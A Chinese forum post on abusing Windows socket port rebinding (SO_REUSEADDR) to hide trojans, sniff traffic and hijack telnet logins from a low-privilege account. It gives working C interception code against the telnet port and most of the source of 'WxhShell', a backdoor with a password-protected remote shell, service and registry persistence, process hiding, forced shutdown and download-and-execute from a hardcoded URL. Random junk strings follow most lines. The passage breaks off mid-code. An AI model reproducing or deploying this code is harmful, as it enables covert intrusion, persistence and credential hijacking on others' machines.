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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~-Qw.EdC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LYK"(C  
YZ8>OwQz2  
  saddr.sin_family = AF_INET; uh  > ; 8  
G}raA%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |3"KK  
8dIgjQX|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -zeG1gr3  
wE`]7mA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p6Gy ,C.  
XK@E;Rv  
  这意味着什么?意味着可以进行如下的攻击: D'Df JwA  
flbd0NB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MKi0jwJM  
Fk7')?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }9OC,Y8?D  
y??XIsF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X5$Iyis  
_A9AEi'.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xfe+n$~ c  
CkQ3#L<2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0 /U{p,r6`  
?%[@Qb=2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Lnl=.z`jK  
. 3T3E X|G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -x`@6  
;85>xHK  
  #include ]Q)OL  
  #include +VOK%8,p  
  #include 'I6i ,+D/q  
  #include    s9DYi~/,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R$[vm6T?  
  int main() HY:o+ciH'  
  { n9ej7oj  
  WORD wVersionRequested; _F|Ek;y%  
  DWORD ret; /"Uqa,{  
  WSADATA wsaData; #?- wm  
  BOOL val; 5K8^WK  
  SOCKADDR_IN saddr; srrgvG,  
  SOCKADDR_IN scaddr; JOeeU8C  
  int err; @Qt{jI !  
  SOCKET s; T!)(Dv8@F  
  SOCKET sc; -k"/X8  
  int caddsize; 5D//*}b,  
  HANDLE mt; 3 {sVVq5Y  
  DWORD tid;   _ZSR.w}j/  
  wVersionRequested = MAKEWORD( 2, 2 ); ^WWQI+pk  
  err = WSAStartup( wVersionRequested, &wsaData ); tJ$_lk ~6q  
  if ( err != 0 ) { U26}gT)  
  printf("error!WSAStartup failed!\n"); v_GUNRs  
  return -1; b,1ePS  
  } #5o(h+w)  
  saddr.sin_family = AF_INET; di )L[<$DY  
   iSs:oH3l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1\I}2;  
j3E7zRm] \  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bh-ym8D  
  saddr.sin_port = htons(23); WX3-\Y5E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %| Lfuz*  
  { OYn}5RN  
  printf("error!socket failed!\n"); m^;f(IK5  
  return -1; i?^L/b`H  
  } z*% q@]ym  
  val = TRUE; bY~pc\V:`w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :,6\"y-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) draN0v f  
  { PB\x3pV!}  
  printf("error!setsockopt failed!\n"); Z4 =GMXj  
  return -1; &&>ekG 9@  
  } pIqeXY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r3UUlR/Do  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 86F1.ve  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sLxc(d'A  
##"HF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JT_ `.(  
  { V1M.JU  
  ret=GetLastError(); %n9aaoD  
  printf("error!bind failed!\n"); Z/+#pWBI!  
  return -1; c\AfaK^KF  
  } z-)O9PV  
  listen(s,2); [Z$[rOF  
  while(1) f._ua>v,f  
  { [.wYdv35  
  caddsize = sizeof(scaddr); HN|%9{VeB  
  //接受连接请求 }&D32\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dvUic-w<j  
  if(sc!=INVALID_SOCKET) U # qK.  
  { j&qub_j"xX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %1+4_g9  
  if(mt==NULL) TOQP'/   
  { 4'=y:v2  
  printf("Thread Creat Failed!\n"); }0Ed ]  
  break; |&i<bqLw:  
  } _X x/(.O  
  } 13x p_j  
  CloseHandle(mt); j1T#yt J  
  } C$`tbq  
  closesocket(s); /N.U/MPL_  
  WSACleanup(); 6.yu-xm  
  return 0; 4BpZJ~(p  
  }   6(-N FnT  
  DWORD WINAPI ClientThread(LPVOID lpParam) |+D!= :x  
  { [(7S.5I  
  SOCKET ss = (SOCKET)lpParam; '!B&:X)  
  SOCKET sc; :gFx{*xN/9  
  unsigned char buf[4096]; [ub e6  
  SOCKADDR_IN saddr; ]3Sp W{=^(  
  long num; 7;@]t^d=$  
  DWORD val; =41?^1\  
  DWORD ret; H3-hcx54T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a/xn'"eli  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xr^LFn)  
  saddr.sin_family = AF_INET; gL/9/b4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z6MO^_m2  
  saddr.sin_port = htons(23); +X 88;-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R[]Mdt<  
  { z},# ~L6$q  
  printf("error!socket failed!\n"); XfIJ4ZM5  
  return -1; m+z& Q  
  } N?`' /e  
  val = 100; l,aay-E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SOaoo^,O  
  { <b*DQ:N  
  ret = GetLastError(); &_8 947  
  return -1; Pr C{'XDlU  
  } XW92gI<O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0jWVp- y  
  { 2y1Sne=<Kb  
  ret = GetLastError(); V>rU.Mp QU  
  return -1; -yNlyHv9  
  } Zx>=tx}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vW@=<aS Z  
  { E' uZA  
  printf("error!socket connect failed!\n"); +jgSV.N  
  closesocket(sc); )0k53-h&  
  closesocket(ss); E=O\0!F|b  
  return -1; m.0*NW  
  } ;722\y(Y  
  while(1) %J-GKpo/S  
  { F_P~x(X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .x&%HA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8H`[*|{'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MiX43Pk]  
  num = recv(ss,buf,4096,0); 5#z1bu  
  if(num>0) Gav$HLx  
  send(sc,buf,num,0); 2st3  
  else if(num==0) Vi|#@tC'  
  break; cm+P]8o%{  
  num = recv(sc,buf,4096,0); 1=v*O.XW`  
  if(num>0) 'Z]w^<  
  send(ss,buf,num,0); X5w$4Kj&4l  
  else if(num==0) ksm~<;td  
  break; f%8C!W]Dm  
  } 3$ PV2"  
  closesocket(ss); yIE!j %u  
  closesocket(sc); 1xx}~|F?|  
  return 0 ; &xExyz~`  
  } /zox$p$?h  
dQG=G%W  
f?)-}\[IR{  
========================================================== HE\K@3-  
$Y gue5{c  
下边附上一个代码,,WXhSHELL "EJ~QCW*Yh  
2+WaA ,   
========================================================== bN=P*hdf  
4b`=>X;W  
#include "stdafx.h" UL9n-M =  
o,wUc"CE  
#include <stdio.h> :MDKC /mC  
#include <string.h> =WJ NWt>  
#include <windows.h> nT)vNWT=  
#include <winsock2.h> .o}v#W+st  
#include <winsvc.h> %xt^698&X  
#include <urlmon.h> W!(LF7_!  
%N_%JK\{@  
#pragma comment (lib, "Ws2_32.lib") |gY^)9ei  
#pragma comment (lib, "urlmon.lib") e8 b:)"R  
Dum9lj  
#define MAX_USER   100 // 最大客户端连接数 -D~%|).'  
#define BUF_SOCK   200 // sock buffer AT|3:]3E  
#define KEY_BUFF   255 // 输入 buffer |e0`nn=  
K"@M,8hb  
#define REBOOT     0   // 重启 f|oh.z_R  
#define SHUTDOWN   1   // 关机 )BfAw  
p{dj~ &v  
#define DEF_PORT   5000 // 监听端口 pI<f) r  
1m0c|ckb  
#define REG_LEN     16   // 注册表键长度 dUdT7ixo  
#define SVC_LEN     80   // NT服务名长度 |(^PS8wG  
| VDV<g5h  
// 从dll定义API FML(4BY,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (&x['IR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ""~ajy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L9#g)tf 8T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~WV"SaA)*U  
JOBhx)E  
// wxhshell配置信息 S:ztXhif>  
struct WSCFG { K!l5coM  
  int ws_port;         // 监听端口 a"1t-x  
  char ws_passstr[REG_LEN]; // 口令 wKh4|Ka  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Ee?6]bN  
  char ws_regname[REG_LEN]; // 注册表键名 ^^u5*n+5  
  char ws_svcname[REG_LEN]; // 服务名 MBK^FR-K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /A\8 mL8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;7*[Bcj.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - nm"of\o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ )F)S 7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vsr.=Nd=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _~m5^Q&  
_oL?*ks  
}; |T /ZL!  
(y'hyJo  
// default Wxhshell configuration K`eCDvlH  
struct WSCFG wscfg={DEF_PORT, %fZJRu 1b  
    "xuhuanlingzhe", ho{*Cjv  
    1, DPY}?dC  
    "Wxhshell", n6=By|jRh  
    "Wxhshell", D>r&}6<  
            "WxhShell Service", &A/]pi-\  
    "Wrsky Windows CmdShell Service", <\ y@*fg+  
    "Please Input Your Password: ", ,]C;sN%~}  
  1, nbp=PzZy  
  "http://www.wrsky.com/wxhshell.exe", "V7K SO  
  "Wxhshell.exe" @&!ZZ 1V8  
    }; ;<Sd~M4f  
hR n<em  
// 消息定义模块 CZe ]kXNv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .~db4d]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KM0ru  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L< S9  
char *msg_ws_ext="\n\rExit."; qAr M|\l1  
char *msg_ws_end="\n\rQuit."; *U-4Sy  
char *msg_ws_boot="\n\rReboot..."; ~G p [_ %K  
char *msg_ws_poff="\n\rShutdown..."; .<?GS{6 N  
char *msg_ws_down="\n\rSave to "; yF:1( 4  
0 JS?;fk  
char *msg_ws_err="\n\rErr!"; bRDYGuC  
char *msg_ws_ok="\n\rOK!"; e ,'_xV  
E`JI>7  
char ExeFile[MAX_PATH]; 234p9A@  
int nUser = 0; LrfVh-}|:Y  
HANDLE handles[MAX_USER]; 1nM  #kJ"  
int OsIsNt; <{p4V|:  
4KAZ ':  
SERVICE_STATUS       serviceStatus; ;}WeTA_-[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mUC)gA/  
PQt")[  
// 函数声明 M t|zyXyzX  
int Install(void); GKqm&/M*=  
int Uninstall(void); y1D L,%j  
int DownloadFile(char *sURL, SOCKET wsh); n80?N}  
int Boot(int flag); g axsv[W>^  
void HideProc(void); q_8+HEvo  
int GetOsVer(void); ;+_:,_  
int Wxhshell(SOCKET wsl); 2|y"!JqE1  
void TalkWithClient(void *cs); SR hiQ  
int CmdShell(SOCKET sock); @7c?xQVd$  
int StartFromService(void); 5I;&mW`1,`  
int StartWxhshell(LPSTR lpCmdLine); (/YHk`v2  
k'Hs}zeNn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M?49TOQA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G>=*yqo  
bj^5yX;2  
// 数据结构和表定义 @{e}4s?7od  
SERVICE_TABLE_ENTRY DispatchTable[] = >uB?rGcM  
{ ]A `n( "%  
{wscfg.ws_svcname, NTServiceMain}, ;1=1:S8  
{NULL, NULL} }&D WaO]J7  
}; QL/(72K  
4@gG<QJW  
// 自我安装 Vt~{Gu-Y  
int Install(void) M0"_^?  
{ Qljpx?E  
  char svExeFile[MAX_PATH]; MJ)RvNF  
  HKEY key; W i.& e  
  strcpy(svExeFile,ExeFile); B-Hrex]  
5;WH:XM  
// 如果是win9x系统,修改注册表设为自启动 MchA{p&Ol  
if(!OsIsNt) { I 34>X`[o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @1j   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  /maJtX'  
  RegCloseKey(key); RP|`HkP-2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {YC@T(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H8jpxzXv  
  RegCloseKey(key); y.k~Y0  
  return 0; !BF; >f`  
    } ^7*11%Q  
  } >Tx?%nQ  
} TX/Xt7#R:  
else { ,p a {qne  
'Is kWgc  
// 如果是NT以上系统,安装为系统服务 y^ *~B(T{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %;' s4ly  
if (schSCManager!=0) .{^5X)  
{ ^\% (,KNo  
  SC_HANDLE schService = CreateService 8,%^ M9zBP  
  ( gJ{)-\  
  schSCManager, Fo_sgv8O<  
  wscfg.ws_svcname, ~?}Emn;t  
  wscfg.ws_svcdisp, !< ";cw(q  
  SERVICE_ALL_ACCESS, J;e2&gB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C) s5D  
  SERVICE_AUTO_START, 0+ '&`Q!u  
  SERVICE_ERROR_NORMAL, j (d~aqW  
  svExeFile, =qIp2c}Rx  
  NULL, B$K=\6o  
  NULL, Q&;9 x?e  
  NULL, ?V=ZIGj  
  NULL, JbbzV>  
  NULL ,0sm  
  ); qDIZJ h  
  if (schService!=0) eByz-,{P  
  { e *C(q~PQ  
  CloseServiceHandle(schService); _VN?#J)o  
  CloseServiceHandle(schSCManager); 3"i-o$P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]6` %  
  strcat(svExeFile,wscfg.ws_svcname); '<<t]kK[N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !.gIHY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ITBE|b  
  RegCloseKey(key);  (ZizuHC  
  return 0; F>l] 9!P|m  
    } e !Y~Qy  
  } !pW0qX\1n  
  CloseServiceHandle(schSCManager); T^KKy0ZGM  
} 59A}}.@?m  
} )akoa,#%6c  
LL!Dx%JZ  
return 1; 8<.Oq4ku  
} Il 'fL'3  
t*u:hex  
// 自我卸载 +6\Zj)  
int Uninstall(void) n\53wh@+  
{ W!(zT6#  
  HKEY key; ?`ZU R& 20  
Gef TdO.&  
if(!OsIsNt) { D>q9 3;p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GVn!O1jio  
  RegDeleteValue(key,wscfg.ws_regname); Otuf] B^s  
  RegCloseKey(key); >bW #Zs,6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `^&OF u ee  
  RegDeleteValue(key,wscfg.ws_regname); abjQ)=u  
  RegCloseKey(key); Q &JUt(  
  return 0; KRzAy)8  
  } Yq KCeg  
} %u'u kcL7  
} uXvtfc  
else { 0,")C5j  
ZE}}W _  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :I#V.  
if (schSCManager!=0) &QgR*,5eo  
{ SJ,v?=S!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); } Kgy  
  if (schService!=0) /8S>;5hvK@  
  { T~e.PP  
  if(DeleteService(schService)!=0) { |{ip T SH  
  CloseServiceHandle(schService); C6PdDRf  
  CloseServiceHandle(schSCManager); W6Fo6a"<  
  return 0; V,njO{Q  
  } 7. oM J  
  CloseServiceHandle(schService); fHFE){  
  } y6a3t G  
  CloseServiceHandle(schSCManager); O0.*Pmt  
} (9a^$C*  
} 4Nsp<Kn>  
*EH~_F  
return 1; [(lW^-  
} M= (u]%\  
!Uo4,g6r+  
// 从指定url下载文件 $UwCMPs X  
int DownloadFile(char *sURL, SOCKET wsh) ]f_p 8?j"  
{ bt?5*ETA  
  HRESULT hr; ~xFkU#  
char seps[]= "/"; <hyKu  
char *token; GbI/4<)l}  
char *file; a7opCmL  
char myURL[MAX_PATH]; {l@{FUv  
char myFILE[MAX_PATH]; ^cWnF0)j.  
oB7_O-3z  
strcpy(myURL,sURL); ^2rN>k,?  
  token=strtok(myURL,seps); J&_n9$  
  while(token!=NULL) Pq$n5fZC !  
  { 1% `Rs  
    file=token; ? r4>"[  
  token=strtok(NULL,seps); =3P)q"  
  } |G<|F`Cj  
ccxNbU  
GetCurrentDirectory(MAX_PATH,myFILE); 0y\Z9+G:  
strcat(myFILE, "\\"); d=/F}yP~?s  
strcat(myFILE, file); YmG("z  
  send(wsh,myFILE,strlen(myFILE),0); $`8wJf9@w  
send(wsh,"...",3,0); ]SEZaT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sI2^Qp@O1  
  if(hr==S_OK) Ewz!O`  
return 0; %hP^%'G  
else d'> x(Yi  
return 1; QJ;2ZN,  
t uX|\X  
} ueNS='+m  
yHaGkm  
// 系统电源模块 c71y'hnT  
int Boot(int flag) dE3) | %  
{ | -H& o]  
  HANDLE hToken; -{vD: Il=6  
  TOKEN_PRIVILEGES tkp; kJR`:J3DJ  
2~V*5~fb  
  if(OsIsNt) { lB4WKn=?Kl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zH r_!~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z\sDUJ  
    tkp.PrivilegeCount = 1; ]4e;RV-B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zt%Mx>V@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z$sGv19pB  
if(flag==REBOOT) { cMIEtK`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ALHIGJW:6$  
  return 0; 8P`"M#fI  
} eMzk3eOJ  
else { ar,7S&s H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \U_@S.  
  return 0; eO1lnO|  
}  !VpoZ  
  } t{>q|0  
  else { -?a 26o%e  
if(flag==REBOOT) { <UCl@5g&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dh\P4  
  return 0; MQ2_`pi  
} mE[y SrV  
else { V]^$S"Tv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jEwIn1  
  return 0; gqR(.Pu  
} F'Z,]b'st3  
} 7:@'B|  
KPki}'GO  
return 1; ?7A>+EY  
} < %Y}R\s?  
Vvo 7C!$z  
// win9x进程隐藏模块 JXx wr)i  
void HideProc(void) wC*X4 '  
{ '"Nr,vQo  
^J{:x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EM_d8o)`B  
  if ( hKernel != NULL ) TA\vZGJ('  
  { ry]l.@o;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xD7]C|8o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +7a6*;\ y  
    FreeLibrary(hKernel); Rb;'O89Hj@  
  } r_d! ikOT(  
qgB_=Q#E  
return; -g<oS9   
} x1<|hTPk  
{{1G`;|v 9  
// 获取操作系统版本 iDD$pd,e\  
int GetOsVer(void) z9"U!A4  
{ `@%LzeGz  
  OSVERSIONINFO winfo; 'fW-Y!k%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; @X<lCk  
  GetVersionEx(&winfo); =|9!vzG4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #Q5o)x  
  return 1; H*6W q  
  else =lSNs   
  return 0; 62u4-}JzF  
} afk>+4q  
!~Z"9(v'C  
// 客户端句柄模块 U!]dEW|G  
int Wxhshell(SOCKET wsl) /@5YW"1  
{ kcEeFG;DQ  
  SOCKET wsh; [Qr"cR^  
  struct sockaddr_in client; Hp?/a?\Xm  
  DWORD myID; :KO2| v\  
z%kULTL  
  while(nUser<MAX_USER) t,' <gI  
{ 5-M-X#(  
  int nSize=sizeof(client); q(}bfIf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >dT*rH3w  
  if(wsh==INVALID_SOCKET) return 1; nFn5v'g  
,?3G;-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %)n=x ne  
if(handles[nUser]==0) Pz^544\~ou  
  closesocket(wsh); M3AXe]<eC1  
else g&.=2uP  
  nUser++; e(yh[7p=  
  } @pxcpXCy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pJ{Y lS{  
Debv4Gr;^  
  return 0; =lC7gS!U  
} /<3UQLMa  
1&2>LE/P  
// 关闭 socket fR|A(u#9  
void CloseIt(SOCKET wsh) EQ ttoOO  
{ @WB@]-+J T  
closesocket(wsh); nP$9CA  
nUser--; ElXFeJ%[G  
ExitThread(0); s@C}P  
} =Sv/IXX\di  
YK\X+"lB  
// 客户端请求句柄 ])!*_  
void TalkWithClient(void *cs) \DzGQ{`~m  
{ yHGADH0B  
pXUSLs  
  SOCKET wsh=(SOCKET)cs; (#'>(t(4  
  char pwd[SVC_LEN]; NO3/rJ6-  
  char cmd[KEY_BUFF]; j#6.Gq  
char chr[1]; qb4z T  
int i,j; Je{ykL?N  
:pUtSs7p}  
  while (nUser < MAX_USER) { Yw9GN2AG  
ry!!9Z>9n  
if(wscfg.ws_passstr) { W4N{S.#!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F5Va+z,jg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +qoRP2  
  //ZeroMemory(pwd,KEY_BUFF); n|;Im&,  
      i=0; 6wxs1G  
  while(i<SVC_LEN) { *8Z32c+C  
;bG>ZqJCVA  
  // 设置超时 +d>IHpt  
  fd_set FdRead; "]dI1 g_  
  struct timeval TimeOut; AR=]=8  
  FD_ZERO(&FdRead); kP"9&R`E  
  FD_SET(wsh,&FdRead); ceV}WN19l  
  TimeOut.tv_sec=8; 4Up/p&1@  
  TimeOut.tv_usec=0; }'.m*#Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vc2`b3"Br  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jb(H %NJ  
nwWJ7M,A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3u;oQ5<(v  
  pwd=chr[0]; =}*0-\QG  
  if(chr[0]==0xd || chr[0]==0xa) { l\mPHA23  
  pwd=0; OY d !v`<  
  break;  `]X>V,  
  } +0~YP*I`/  
  i++; grYe&(`X  
    } G?ZXWu.  
weQ_*<5%  
  // 如果是非法用户,关闭 socket 8RX&k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uS-|wYE  
} Fp:'M X  
@VBcJ{e,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "#]$r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,'+kBZOv  
+H.`MZ=  
while(1) { FtZ?C@1/  
>bxS3FCX  
  ZeroMemory(cmd,KEY_BUFF); YN,A )w:]  
Ngwb Q7)  
      // 自动支持客户端 telnet标准   WM{=CD  
  j=0; xmX 4qtAL  
  while(j<KEY_BUFF) { /B3iC#?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G"6 !{4g  
  cmd[j]=chr[0]; O}P`P'Y|'  
  if(chr[0]==0xa || chr[0]==0xd) { OPi0~s  
  cmd[j]=0; ,>M[@4`,U  
  break; U17d>]ka  
  } ~zgGa:uU  
  j++; "z c l|@  
    } R=dC4;  
O=lzT~G|4  
  // 下载文件 [ }:$yg  
  if(strstr(cmd,"http://")) { nu^436MSOa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]yu:i-SfP  
  if(DownloadFile(cmd,wsh)) \lY_~*J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4JEpl'5^Q  
  else GeqPRah  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .N3mb6#[R  
  } @,}UWU  
  else { C+]I@Go'Tk  
-} +[  
    switch(cmd[0]) { TseGXYH  
  ~@!bsLSMU  
  // 帮助 *#2h/Q.  
  case '?': { j+!v}*I![  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); omFz@  
    break; @7u0v  
  } [m -bV$-d  
  // 安装 \GBuWY3B  
  case 'i': { [RL9>n8f  
    if(Install()) lMt=|66  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2+6st  
    else edD)TpmE,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); No$3"4wk  
    break;  bLL2  
    } \^LFkp  
  // 卸载 <$YlH@;)`a  
  case 'r': { Lr+$_ t}r  
    if(Uninstall()) "N;EL0=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*Lfl'sr_  
    else *hrvYil2b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .X&9Q9T=#  
    break; ^pS~Z~[d/  
    } jo7\`#(Q  
  // 显示 wxhshell 所在路径 t:S+%u U  
  case 'p': { gr{ DWCK  
    char svExeFile[MAX_PATH]; z{543~Og59  
    strcpy(svExeFile,"\n\r"); ni<(K 0~  
      strcat(svExeFile,ExeFile); %xW"!WbJ|  
        send(wsh,svExeFile,strlen(svExeFile),0); YR70BOxK  
    break; >_TZ'FT  
    } Om<a<q  
  // 重启 [7-?7mp!B  
  case 'b': { SJLis"8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); > !JS:5|  
    if(Boot(REBOOT)) 3%6? g*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zCA2X !7F  
    else { _g8yDfcLG  
    closesocket(wsh); ^Pf WG*  
    ExitThread(0); y7{?Ip4[  
    } AX INThJ  
    break; ]|@^1we  
    } JJnH%Q  
  // 关机 +_!QSU,@  
  case 'd': { \wZe] G%S  
